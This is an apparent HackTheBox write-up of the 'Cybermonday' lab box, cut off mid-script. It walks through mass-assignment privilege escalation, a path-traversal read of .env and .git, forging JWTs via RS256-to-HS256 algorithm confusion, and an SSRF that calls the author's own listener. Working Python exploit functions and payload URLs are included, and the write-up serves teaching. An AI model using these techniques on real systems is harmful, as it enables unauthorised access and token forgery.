Cybermonday

INTRODUCTION

At the time of writing this walkthrough, Cybermondaywas just released! It is the ninth box for HTB’s Hackers Clash: Open Beta Season II. The site is a fictional e-commerce site. This box will test your knowledge of SQL, broken authentication, and definitely all the JWT tricks you can imagine! Have fun.

title picture

RECON

nmap scans

For this box, I’m running the same enumeration strategy as the previous boxes in the Open Beta Season II. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to my target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan.txt $RADDR
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Is this box just http? To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
Host is up (0.17s latency).
Not shown: 92 closed udp ports (port-unreach)
PORT      STATE         SERVICE        VERSION
68/udp    open|filtered tcpwrapped
123/udp   open|filtered ntp
443/udp   open|filtered https
2000/udp  open|filtered tcpwrapped
3703/udp  open|filtered tcpwrapped
4444/udp  open|filtered tcpwrapped
32771/udp open|filtered sometimes-rpc6
49154/udp open|filtered unknown

To investigate a little further, I ran a script scan over the ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 74:68:14:1f:a1:c0:48:e5:0d:0a:92:6a:fb:c1:0c:d8 (RSA)
|   256 f7:10:9d:c0:d1:f3:83:f2:05:25:aa:db:08:0e:8e:4e (ECDSA)
|_  256 2f:64:08:a9:af:1a:c5:cf:0f:0b:9b:d2:95:f5:92:32 (ED25519)
80/tcp open  http    nginx 1.25.1
|_http-title: Did not follow redirect to http://cybermonday.htb
|_http-server-header: nginx/1.25.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Just to be sure I got everything, I ran a script scan for the top 4000 most popular ports:

sudo nmap -sV -sC -n -Pn --top-ports 4000 -oN nmap/top-4000-ports.txt $RADDR
# No new results

Webserver Strategy

Noting the redirect from the nmap scan, I added download.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=cybermonday.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb $RADDR && curl -IL http://$RADDR

whatweb

Next I performed vhost and subdomain enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No result (turns out “cybermonday” is not in the wordlist I’m using). Now I’ll check for subdomains of http://cybermonday.htb:

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.cybermonday.htb" -c -t 60 -o fuzzing/vhost-cybermonday.md -of md -timeout 4 -ic -ac -v

Still nothing. I’ll move on to directory enumeration on http://cybermonday.htb. Some known/expected results include /, /products, and /login:

Note: When I first ran directory enumeration, I got lots of nuisance HTTP status 200 results, each of size 2066B - so those are filtered out in the following ffuf command

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
OUTPUT="fuzzing/directory"

# Usually I use ffuf
#ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o "$OUTPUT.json" -of json -e php,asp,js,html -timeout 4 -v -fs 2066

gobuster dir -w $WLIST -u http://$DOMAIN \
--random-agent -t 10 --timeout 5s -f -e \
--status-codes-blacklist 400,401,402,403,404,405 \
--output "$OUTPUT.txt" \
--no-error

feroxbuster -w $WLIST -u http://cybermonday.htb -A -d 1 -t 100 -T 4 -f --collect-words --filter-status 400,401,402,403,404,405 --output "$OUTPUT.json" --rate-limit 10

Directory enumeration against http://cybermonday.htb/ gave the following:

feroxbuster

Exploring the Website

The website itself appears to be a basic e-commerce site, an online store selling electronic gadgets. The index page describes the store, and there is a login widget at the top-right, which also allows for user registration.

index page

On the products pages, each item has a Buy button, but they don’t appear to actually do anything. I’ll register an account to see what else is accessible from a logged-in user. I registered as jimbob : fake@fake.fake : password. Logging in redirects to /home, where several options are presented:

home page

This seemslike it might be useful, but in fact none of these “action” tiles are actually connected to anything. I get the impression the functionality was purposefully removed: for each “action” tile there are closing </a> tags but no opening ones 🤔

Regardless, this seems like a dead end right now. I’m sure I’ll be back on this page later, but I’ll try some other things. Really, there are very few places to actually interact with the website; they include:

  • Home > View Profile
  • Register
  • Login

FOOTHOLD

Source Code via Stack Traces

I checked out the View Profile page thoroughly. It is not vulnerable to any kind of script injection or XSS. One notable thing though, is that a password is not actually required to change the username. This seems odd, but would only actually be useful if I could somehow log into a legitimate account and subsequently change their password without requiring re-authentication. Clearly, there’s something lacking in the application logic. What about trying to change my username to admin?

duplicate admin sql errors 2

Whoa! That is a lot of information. A stack trace, parts of the source code, and even the SQL statement that caused the error. The query at the top is this:

update `users` set `username` = admin, `users`.`updated_at` = 2023-08-21 14:38:16 where `id` = 9

And the PHP context is this (app/Http/Controllers/ProfileCotnroller.php:33):

public function index()

    {
        return view('home.profile', [
            'title' => 'Profile'
        ]);
    }
    public function update(Request $request)
    {
        $data = $request->except(["_token","password","password_confirmation"]);
        $user = User::where("id", auth()->user()->id)->first();
        if(isset($request->password) && !empty($request->password))
        {
            if($request->password != $request->password_confirmation)
            {
                session()->flash('error','Password dont match');
                return back();
            }
            $data['password'] = bcrypt($request->password);
        }
        $user->update($data);
        session()->flash('success','Profile updated');
        return back();
    }
}

What about the Register page? Knowing that the application logic is a little lax, I again tried registering as admin and got this error page:

duplicate admin sql errors

The query shown at the top is this:

insert into `users` (`username`, `email`, `password`, `updated_at`, `created_at`) values (admin, admin@admin.admin, $2y$10$rJZpb/9uPMMAOM4Rl/n8BexUTNzZhmC21ioPRZgtdS1tJYfuRQIoq, 2023-08-21 11:42:58, 2023-08-21 11:42:58)

And the PHP context (app/Models/User.php:48):

    ];
    /**
     * The attributes that should be hidden for serialization.
     *
     * @var array<int, string>
     */
    protected $hidden = [
        'password',
        'remember_token',
    ];
    /**
     * The attributes that should be cast.
     *
     * @var array<string, string>
     */
    protected $casts = [
        'isAdmin' => 'boolean',
        'email_verified_at' => 'datetime',
    ];
    public function insert($data)
    {
        $data['password'] = bcrypt($data['password']);
        return $this->create($data);
    }
}

Oh, wow… that $casts = ['isAdmin' => 'boolean', 'email_verified_at' => 'datetime',]; part looks very suspicious. I’ll take a look at how the offending request looks in Burp. I’ll try registering a new user, but this time proxy it through Burp and add an isAdmin field:

register isAdmin attempt

It seems like this request caused no errors server-side, but unfortunately it did not have the desired effect. After I tried logging in with jimbob6 : password, I was still a regular low-priv user.

Next, I’ll try something similar, but this time using the Home > View Profile screen instead. I’ll “update” my profile and add this isAdmin field to the request:

update isAdmin attempt

And this resulted in another error page!

update isAdmin attempt 2

Ah, I see. So I should probably try providing an integer to cast into a boolean, instead of the word True. Since this is an SQL error, I’ll use an integer that SQL would cast into a boolean: 1 for True, 0 for False:

update isAdmin attempt 3

💫 Wow - That actually worked!

After submitting that request, the /home page has a new element in the header navbar, ‘Dashboard’:

update isAdmin attempt 4

Dashboard Page

When clicking on Dashboard, I’m redirected to a page with a sidebar to choose from four options:

  • Dashboard: The default page. Just shows some graphs with sample data. Does not look important.
  • Products: Allows for new products to be defined, including a photo for the product.
  • Changelog: A change log for the web app.
  • Back to Home Page: Just a shortcut back to /home

I tried out Products and defined a new product. I then viewed the website as an unauthenticated user to see if it worked:

added product

Ok, it works. I checked out the image in the DOM to see how it gets loaded It appears to be rendered as a base64-encoded image:

I’m trying to see if the image gets modified at all. If any modification is occurring, then there’s a chance it may carry some of the old Imagemagick vulnerabilities. Also, if the image somehow gets parsed as PHP, then foothold could be as simple as planting a webshell.

beaver in DOM

I tried copying the image data /9j/4AAQsk... into a file. Then I found the original picture that I uploaded and base64-encoded it myself, and compared the two files using diff:

vim beaver.b64 # [PASTE]
base64 -w 0 beaver.jpeg > beaver.b64-orig 
# [Then open and close it using vim to append a newline]:
vim beaver.b64-orig
diff beaver.b64 beaver.b64-orig
# No difference!

Ok, so there’s a pretty good chance that the image is simply being encoded in it’s original format; i.e. no parsing or image modifications are taking place - so this idea about using an image as the exploit is probably a dead-end.

So if the /dashboard/products page is a dead end, then by elimination the way forward could be in /dashboard/changelog. Here is the most recent portion of the changelog:

changelog

☝️ Aha! This [Unreleased] version probably corresponds to the git hash that was shown from the SQL error stack trace page: git details from crash

One thing to note is that, if they recently fixed an SQLi on the login page - perhaps there is still an SQLi on the registration page, or on Home > View Profile? Maybe I’ll loop back to this later 🚩

For now, that line about the Webhook looks especially interesting to me. It’s for creating registration logs, eh? And if it’s still in beta, there’s a good chance it has bugs or vulnerabilities 😼

Webhook Scripting

The webhook address is:

http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77

Now that I know of a new subdomain, I’ll add it to my /etc/hosts:

echo "$RADDR webhooks-api-beta.cybermonday.htb" | sudo tee -a /etc/hosts

Since it’s in my /etc/hosts file, I should be able to navigate to that domain now. I’ll check out the domain itself:

webhooks listing

😆 Awesome! I also tried checking this page using an unauthenticated session and got the same result. That’s a big security blunder!

I can already see where this is going; look at the last entry in the above image: it has the sendRequest(url, method) action. This must be an SSRF opportunity! But first, I’ll need to know or create a valid uuid. First, I’ll try GET /webhooks:

get webhooks unauthorized

Hmm, ok. Perhaps I need to use the POST /auth/register and POST /auth/login routes first. Since I can already see that this might be a multi-step process, I’ll start scripting it in Python.

I’ll show the whole script later in the walkthrough (once I finish writing it), but here’s a snippet of it showing how I got the /auth endpoints to work:

#[...SNIP...]
s = requests.session()

def randomCreds():
    x = hex(random.getrandbits(64))[2:] # strip off the '0x'
    return (f'user_{x}', f'pass_{x}')

def register(username, password):
    ''' Register a new user, through the POST /auth/register endpoint '''
    endpoint = '/auth/register'
    resp = s.post(
        f'{args.target}{endpoint}',
        json = {'username':username, 'password':password}
    )
    print(f'[{resp.status_code}] POST {endpoint}\n{resp.text}\n')
    
def login(username, password):
    ''' Log in using the POST /auth/login endpoint '''
    endpoint = '/auth/login'
    resp = s.post(
        f'{args.target}{endpoint}',
        json = {'username':username, 'password':password}
    )
    print(f'[{resp.status_code}] POST {endpoint}\n{resp.text}\n')
    
(username,password) = randomCreds()
register(username,password)
login(username,password)

webhook authentication

👍 That’s a step in the right direction. It looks like /auth/login provides an x-access-token token in the response. This type of token is meant to be included as a request header, so that’s what I’ll do when contacting any of the /webhooks endpoints.

I added some more code to take the token and use it as a header for GET /webhooks:

#[...SNIP...]
def login(username, password):
    ''' Log in using the POST /auth/login endpoint '''
    endpoint = '/auth/login'
    resp = s.post(
        f'{args.target}{endpoint}',
        json = {'username':username, 'password':password}
    )
    print(f'[{resp.status_code}] POST {endpoint}\n{resp.text}\n')
    try:
        data = resp.json()
        return data['message']['x-access-token']
    except Exception as e:
        print(f'Encountered error while parsing response JSON:\n{e}')
        sys.exit()
    
def getWebhooks(token):
    ''' Retrieve the list of webhooks. Return the array of webhooks '''
    endpoint = '/webhooks'
    resp = s.get(
        f'{args.target}{endpoint}',
        headers = {'x-access-token': token}
    )
    print(f'[{resp.status_code}] GET {endpoint}\n{resp.text}\n')
    try:
        data = resp.json()
        return data['message']
    except Exception as e:
        print(f'Encountered error while parsing response JSON:\n{e}')
        sys.exit()
    
#[...SNIP...]
token = login(username,password)
uuids = getWebhooks(token)

webhook script 1

Excellent, the authentication worked. The uuid shown above matches the one from the changelog. Now that I’m able to interact with /webhooks, I see two ways to utilize this:

  1. Create a new webhook using /webhooks/create, and make it use the sendRequest action. Use this action to perform an SSRF… But what restricted resource would I try to request? 🤔 maybe the database?
  2. Use the existing webhook (or define a new one) and use the createLogFile action. Use this action to drop a webshell onto the server. If necessary, check for a directory traversal to place the file where I can access it.

Since (2) seems more direct, I’ll try that first. It should be a simple addition to the script I already have working.

Webhook - File Write

Now that I know the UUID of the webhook aluded-to in the Changelog, I can try using the webhook. To interact with this webhook, I wrote another function for my script:

def createLogFile(token, uuid, log_name, log_content):
    ''' use the createLogFile action in an existing webhook '''
    endpoint = f'/webhooks/{uuid}'
    resp = s.post(
        f'{args.target}{endpoint}',
        headers = {'x-access-token': token},
        json = {
            'log_name': log_name, 
            'log_content': log_content
        }
    )
    print(f'[{resp.status_code}] POST {endpoint}\n{resp.text}\n')
    
#[...SNIP...]
uuid = getWebhooks(token)[0]['uuid']
createLogFile(token, uuid, 'mylogfile1', 'These are my logfile contents')

Seemingly, this was successful:

webhook script 3

That’s great, but now I’ll have to find where that log file is visible, if it even is visible… For now, this seems like something that is unlikely to produce any progress, but perhaps I’ll come back to it later 🚩

Since (1) takes less guesswork, I’ll try that first.

Webhook - SSRF

The end goal of an SSRF is usually to exfiltrate some data. So, as a proof-of-concept, I’ll stand up a python webserver on my attacker machine and see if I can get the target to contact it.

Usually, I would just use python’s http.server module for this. However, that module isn’t ideal if you intend on contacting it with a POST request, or any message with a body.

To get past this, I got ChatGPT to write me a bit of a code skeleton, then modified it to suit my needs. I also fixed a bunch of bugs that were present in the code it provided. You can get a copy of it from my repo on Github: https://github.com/4wayhandshake/simple-http-server

To perform SSRF using the webhook API present on the target, I’ll have to use the sendRequest action. However, since the only existing webhook doesn’t perform that action, I’ll have to create my own webhook. To do this, I added a function to my script:

#[...SNIP...]
def createWebhook(token, name, description, action):
    ''' Create a new webhook '''
    endpoint = '/webhooks/create'
    resp = s.post(
        f'{args.target}{endpoint}',
        headers = {'x-access-token': token},
        json = {
            'name': name, 
            'description': description, 
            'action': action
        }
    )
    print(f'[{resp.status_code}] POST {endpoint}\n{resp.text}\n')
    # ...Return the UUID?

#[...SNIP...]
token = login(username,password)
createWebhook(token, 'makerequest', 'webhook to make an http request', 'sendRequest')

But unfortunately, it didn’t work:

webhook script 2

Hmm… that’s too bad. I tried using the token both with and without calling getWebhooks(), but still no luck. I also tried authenticating as the user that I had previously set as admin, “jimbob6”, but it resulted in the same 403 Unauthorized message. Maybe there’s more to this token than meets the eye? It looks like a JWT, so I’ll try throwing it into Cyberchef to decompose it:

decomposed jwt

Aha! So there is more than meets the eye. The token encapsulates a role field that I hadn’t anticipated. I bet if I re-wrote the JWT to use "role": "admin", I’d be able to create a webhook… There must be a way to find the JWT signing key. I bet there’s an LFI 🤔

And just to get even more detail, I’ll try decomposing the JWT in bash. Any JWT has the form <header>.<payload>.<signature>, where all are base64-encoded. So it’s easy to just read them using base64 -d:

jwt decomposed in bash

Note: this is for a JWT generated using a different random username than the Cyberchef image above. Same idea though.

While the payload is exactly as Cyberchef showed, now we know the JWT header as well: it uses RS256 as an algorithm. I’ll be honest, that’s kind of bad news… Now I must search for two files: the private key and the public key 👎

Searching for LFI

As luck would have it, I already wrote a nice script for searching for LFIs! I wrote it for a previous box in this competition, Download. My script is written in bash, and not very fast, but it definitely works. Please see my github repo to try it out: https://github.com/4wayhandshake/LFI-Enumerator.

The script requires a few things:

  • a wordlist of files that, when found, would indicate an LFI was discovered. Ideally, this list is not too long (under 100 lines)
  • cookies to use with each request (optional)
  • the address where the LFI should be rooted, ex. http://cybermonday/products
  • the minimum and maximum depth to “look backwards” when attempting LFIs. Ex http://cybermonday/products/../../ is 2 steps back using the “../” pattern.
  • …and a few other options not important for this scenario (see the github repo for more detail)

It will try various methods of path traversal to attempt to find an LFI (the patterns are specified in lfi-list.txt), running ffuf to look for an LFI at each depth of each traversal pattern.

To gather up the prerequisites, I first made a list of all files that might be indicative of an LFI, and saved them into targets.txt. I started with a list that I created:

package.json
app.js
server.js
robots.txt
env
.env
dotenv
index.html
index.php
mylogfile1 # this is the log file that I created earlier

Then I appended a couple other wordlists onto it, and eliminated the duplicates:

cat /usr/share/seclists/Discovery/Web-Content/apache.txt >> targets.txt; \
cat /usr/share/seclists/Discovery/Web-Content/nginx.txt >> targets.txt; \
sort -u targets.txt > target_files.txt

After that, used the results of Directory Enumeration of http://cybermonday.htb (along with other directories I had discovered along the way) and listed them all in a file called directories.txt:


/login
/signup
/products
/home
/assets
/dashboard
/dashboard/products
/dashboard/changelog

Note: the blank line at the top is intentional

Then, I set variables for the wordlist and my cookies, and ran my LFI-Enumerator script twice for each directory in the list - once without a trailing slash and once with a trailing slash:

WLIST='target_files.txt'

COOKIES='XSRF-TOKEN=eyJpdiI6IkRQTVpXN0tUa0lkWm0wTWhzSjg1a2c9PSIsInZhbHVlIjoiTXBqcTVxUzlLeXo0V1NiekI5Nmw2dmZBaVBQRncwbzFJZ3pWLzdxUzNwck1GRytIVmZSSnRJNnJOK3VQZUNzcHVkWU1HN2x2M1lscmdjMlc5cXdoWmNydEJSbHFBczcrcklCWUs2WVlUNDRXY1N5UGwzZTBNMVowUHhhNzZWVUYiLCJtYWMiOiJjNjg5NGZjOTYyYjlhMmUyYTA1NWVjYTIzMDY2MzQxNmVlMjg3MzRmYTQzYWViNTA3Y2Y0MDg2YjlhZGIxMmRiIiwidGFnIjoiIn0%3D;cybermonday_session=eyJpdiI6ImhkNzZqc0FOZktRZ2Y0QVZ6clJFU2c9PSIsInZhbHVlIjoibW90eHYwRGQ5aEZraDh3ZENMY0gvdHN1Y05iZWJ2a3N5NVdONU5GK1dPV2tRRG9ncGt3UVdoNDN3dWJKSUN2dmpKOXh6MTdDTThjSGM4b3R1NXRhaEdQR3V5b3phM1RuRlFUbGZMRGJnNnd0V0NDUCtvNGNNWlJpdCs2WkswVFoiLCJtYWMiOiI5MDU2NWM0Yjc0MTRkNjI5MzVlY2U4MTJiOGY2MGQ0YmRkNjU5OGI2Y2E0NzQ0NjNhMzAwMjFjMDNjN2EwNmU2IiwidGFnIjoiIn0%3D'

while read D; do 
	echo "Trying LFI-Enumerator rooted at $D (without trailing slash)\n" ; 
	./lfi-scan.sh "http://cybermonday.htb$D" 0 3 "$COOKIES" "$WLIST" 0 '' '' ''; 
	echo "Trying LFI-Enumerator rooted at $D (with trailing slash)\n" ; 
	./lfi-scan.sh "http://cybermonday.htb$D/" 0 3 "$COOKIES" "$WLIST" 0 '' '' ''; 
done < directories.txt | tee  lfi-enumeration-results.txt

This took quite a while, so I went and had lunch. Also, it generated a lot of not-very-useful output, so when it was done running, I filtered it out:

grep -i -B 1 FFUF lfi-enumeration-results.txt

I was left with a shortlist of just the useful results 😉

lfi enumeration results

To summarize, my script found the file .env in three different ways:

  • http://cybermonday.htb/assets../.env
  • http://cybermonday.htb/assets%2e%2e%2f.env
  • http://cybermonday.htb/assets..%2f.env

Wonderful! .env files are usually pretty juicy - let’s check it out:

curl http://cybermonday.htb/assets../.env 
APP_NAME=CyberMonday
APP_ENV=local
APP_KEY=base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=
APP_DEBUG=true
APP_URL=http://cybermonday.htb

LOG_CHANNEL=stack
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=db
DB_PORT=3306
DB_DATABASE=cybermonday
DB_USERNAME=root
DB_PASSWORD=root

BROADCAST_DRIVER=log
CACHE_DRIVER=file
FILESYSTEM_DISK=local
QUEUE_CONNECTION=sync
SESSION_DRIVER=redis
SESSION_LIFETIME=120

MEMCACHED_HOST=127.0.0.1

REDIS_HOST=redis
REDIS_PASSWORD=
REDIS_PORT=6379
REDIS_PREFIX=laravel_session:
CACHE_PREFIX=

MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS="hello@example.com"
MAIL_FROM_NAME="${APP_NAME}"

AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=
AWS_USE_PATH_STYLE_ENDPOINT=false

PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1

MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"

CHANGELOG_PATH="/mnt/changelog.txt"

REDIS_BLACKLIST=flushall,flushdb

There’s a credential in there mysql/cybermonday root : root

I’ll come back to this .env file in a bit, but for now I want to re-perform directory and file enumeration on the target using the LFI I just found. Usually, I find the best tool for doing this is ffuf. Since I can already tell there will be a lot of results, I’ll proxy it through Burp and try to build a site map:

OUTPUT="fuzzing/directory-lfi"
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt"

ffuf -w $WLIST:FUZZ -u http://$DOMAIN/assets../FUZZ -t 80 --recursion --recursion-depth 2 -c -o "$OUTPUT.json" -of json -e php,asp,js,html -timeout 4 -v -x "http://127.0.0.1:8080"

Oh, whoa! I should have expected it, but there’s a .git directory in there! That’s the best of all. I’ll use a very handy tool called githacker to reconstruct the project source code using the .git directory:

githacker --url "http://cybermonday.htb/assets../.git/" --output-folder "source/githacker-output"

githacker

👏 Beautiful! Having both the source code and the .env file is a really good position to be in.

I took a very thorough look through the source code. It’s a surprisingly large application, with many pieces to it. Despite my initial optimism, I didn’t end up finding anything useful, really. Oh well 🤷‍♂️

The JWT Key

Back in the section Webhook - SSRF, I described how I was thwarted by the 403 Unauthorized when attempting to create a new webhook. Now that I have the APP-KEY from the .env file, I’ll try re-signing the JWT from earlier. I included the key into my script and decoded it from base 64:

# [...SNIP...]
import jwt
import base64
APP_KEY = "EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA="
key = base64.b64decode(APP_KEY)
# [...SNIP...]
def jwtDecode(token, key):
    decoded = jwt.decode(token, key, algorithms=['RS256'])
    return decoded
# [...SNIP...]

However, when attempting to run this code I was met with all kinds of errors. I should have known better, too… clearly the key I provided was NOT compliant with the RS256 algorithm - it’s not an RSA private key! A proper RSA key would have started with the usual “-----BEGIN PRIVATE KEY-----”.

This got me wondering: if I don’t have the correct key, and I obviously need to find a way to re-write this JWT, maybe there is a way to bypass the security? I found an article describing exactly that. It describes a half dozen techniques for bypassing or tricking JWT security. I began going through the techniques one by one. I won’t bother writing down what didn’t work, because ultimately I did find one technique (the very last one listed) that did work.

The successful technique was using a tool that calculates the public key by enumerating way that RSA keys are generated: it takes as inputs two unique JWTs. Since I already had a script that generates random users, registers them, and logs in - thus obtaining a unique JWT - I used that script to produce two JWTs and fed them into the tool:

TOK1='eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MTUsInVzZXJuYW1lIjoidXNlcl84MWY2ZTBiNmFjZGUzMjgxIiwicm9sZSI6InVzZXIif....ysRZW8EiEFq7Oio40AfScVrrrEKW45B5nZIDcjCumk_4nmcUr3Wj7jIg3H-yg'

TOK2='eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MTYsInVzZXJuYW1lIjoidXNlcl85MDJhMDViODA1YTkzZGRjIiwicm9sZSI6InVzZXIifQ....hOKQbDnGmASjjKgzhjTUkV5tktYr9xxxbHoToM6PyBStkv6V22_qekytgQiA'

 ./recover.py "$TOK1" "$TOK2"

Within a minute or so, the tool calculated a public key! This could be used for JWT verification, if I wanted.

Recovering public key for algorithm RS256...
Found public RSA key !
n=21077705076198164110050345996612932810772518568443539050967722091376715840724373912088648727462840166192414559973502765046018099237341992732922789436498722625887217896319265594400430914391266628569217137860641259990767701853837981346406368514447786224553261574429635839050870271936160397598030752338538909555533403716740628865097430507
e=65537
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApvezvAKCOgxwsiyV6PRJ
fGMul+WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP/8jJ7WA2gDa8oP3N2J8z
Fyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn7
97IlIYr6Wqfc6ZPn1nsEhOrwO+qSD4Q24FVYeUxsn7pJ0oOWHPD+qtC5q3BR2M/S
xBrxXh9vqcNBB3ZRRA0H0FDdV6Lp/8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhn
gysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh1
6wIDAQAB
-----END PUBLIC KEY-----

Wonderful! Now, what can I possibly do with just the public key? I did see something in that article of insecure JWT attacks referring to how the server might be able to be tricked into using HS256 instead of RS256, as long as the RS256 public key has already been found. It’s commonly referred to as Algorithm Confusion or Key Confusion. I wrote the following python to try it out (But first, I saved the key into a file that my python script could access, rsa_key.pub):

# ...
def rs256AttackToHs256Attack(token, public_key, makeAdmin=False):
    old_token_payload = jwt.decode(token, verify=False)
    if makeAdmin:
        old_token_payload['role'] = 'admin'
    with open('rsa_key.pub', 'rb') as f:
        key = f.read()
    new_token = jwt.encode(old_token_payload, key=key, algorithm='HS256').decode('utf-8')
    return new_token
# ...
token = login(username,password)
test_token = rs256AttackToHs256Attack(token, pubkey, True)
getWebhooks(test_token)

Aside: finding the public key in a different way

The public key should be, well, public. It stands to reason that I should be able to find it by doing some directory and file enumeration on the target. While reading a guide on JWT Algorithm Confusion by Portswigger, I learned that a common way to provide the public key for JWT asymmetric algorithms is to host a jwks.json file. I checked which of my wordlists had this file, then ran ffuf using one of the wordlists I found:

cd /usr/share/seclists/Discovery
find . -type f -exec grep -H -n jwks {} \; # One result was ./Web-Content/common.txt

cd ~/Box_Notes/Cybermonday
WLIST=/usr/share/seclists/Discovery/Web-Content/common.txt
ffuf -w $WLIST:FUZZ -u "http://webhooks-api-beta.cybermonday.htb/FUZZ" -t 80 -c -o "fuzzing/webhooks-files-and-dirs.json" -e 'php,asp,js,html,json' -timeout 4

Very quickly, I found exactly what I was looking for:

found  jwks

Here is the contents of jwks.json. It discloses the n and e, just like an RSA public key should:

{"keys": [{
		"kty": "RSA",
		"use": "sig",
		"alg": "RS256",
		"n": "pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w",
		"e": "AQAB"
}]}

That Portswigger article on JWT algorithm confusion shows exactly how to make use of this data. Basically, use the Burp JWT Editor extension to convert the contents of jwks.json into a .pem key, then follow the instructions directly from the other article.

RS256 to HS256 Signature Attack

The attack is pretty simple: sign a JWT using the public key, while specifying that the algorithm is HS256. The section of the article talking about this attack shows the following sample code:

import jwt
old_token = 'eyJ0eXAiOiJKV1Q[...].eyJpc3MiOiJodHRwO[...].HAveF7AqeKj-4[...]'
old_token_payload = jwt.decode(old_token, verify=False)
public_key = open('pubkey.pem', 'r').read()
new_token = jwt.encode(old_token_payload, key=public_key, algorithm='HS256')
print(new_token)

I have my public key stored in a local file, but it’s not .pem. Instead, I’ll follow the guidance of the official PyJWT documentation and just load the file contents directly (formatted as a typical RSA public key). For that, I used the code shown earlier (my python function, rs256AttackToHs256Attack()). It seems like that code successfuly generates a token, so I’ll try using that generated token through a function to create a new webhook:

def createWebhook(token, name, description, action):
    ''' Create a new webhook '''
    endpoint = '/webhooks/create'
    resp = s.post(
        f'{args.target}{endpoint}',
        headers = {
            'x-access-token': token,
        },
        json = {
            'name': name, 
            'description': description, 
            'action': action
        }
    )
    print(f'[{resp.status_code}] POST {endpoint}\n{resp.text}\n')
    try:
        data = resp.json()
        return data['webhook_uuid']
    except Exception as e:
        print(f'Encountered error while parsing response JSON:\n{e}')
        sys.exit()
        
def sendRequest(token, uuid, url, method):
    ''' use the sendRequest action in an existing webhook '''
    endpoint = f'/webhooks/{uuid}'
    resp = s.post(
        f'{args.target}{endpoint}',
        headers = {'x-access-token': token},
        json = {
            'url': url, 
            'method': method
        }
    )
    print(f'[{resp.status_code}] POST {endpoint}\n{resp.text}\n')
    
#...
test_token = rs256AttackToHs256Attack(token, True)
# x is the number suffixed to the randomized username and passwords
uuid = createWebhook(test_token, f'makerequest_{x}', 'webhook to make an http request', 'sendRequest')
sendRequest(test_token, uuid, 'http://10.10.14.4:8000/ssrf', 'GET')

i.e. the code is pre-configured to contact the webserver running on my attacker machine. I opened port 8000 of my firewall then ran my python script. This was the result:

contacted webserver

SSRF success 1

Success! Using the webhook, I was finally able to perform a simple proof-of-concept SSRF.

To make the script a little more comfortable to use, I parse the SSRF instructions in a loop:

# ...

def parseSSRF(token, uuid, cmd):
    methods = "GET,POST,PUT,HEAD,DELETE,PATCH,OPTIONS,CONNECT,TRACE".split(',')
    i = cmd.find(' ')
    method = 'GET'
    url = cmd[i+1:]
    if i > 0:
        method = cmd[:i].upper() if (cmd[:i].upper() in methods) else 'GET'
    sendRequest(token, uuid, url, method)
    
# ...

uuid = createWebhook(test_token, f'makerequest_{x}', 'webhook to make an http request', 'sendRequest')
while True:
    try:
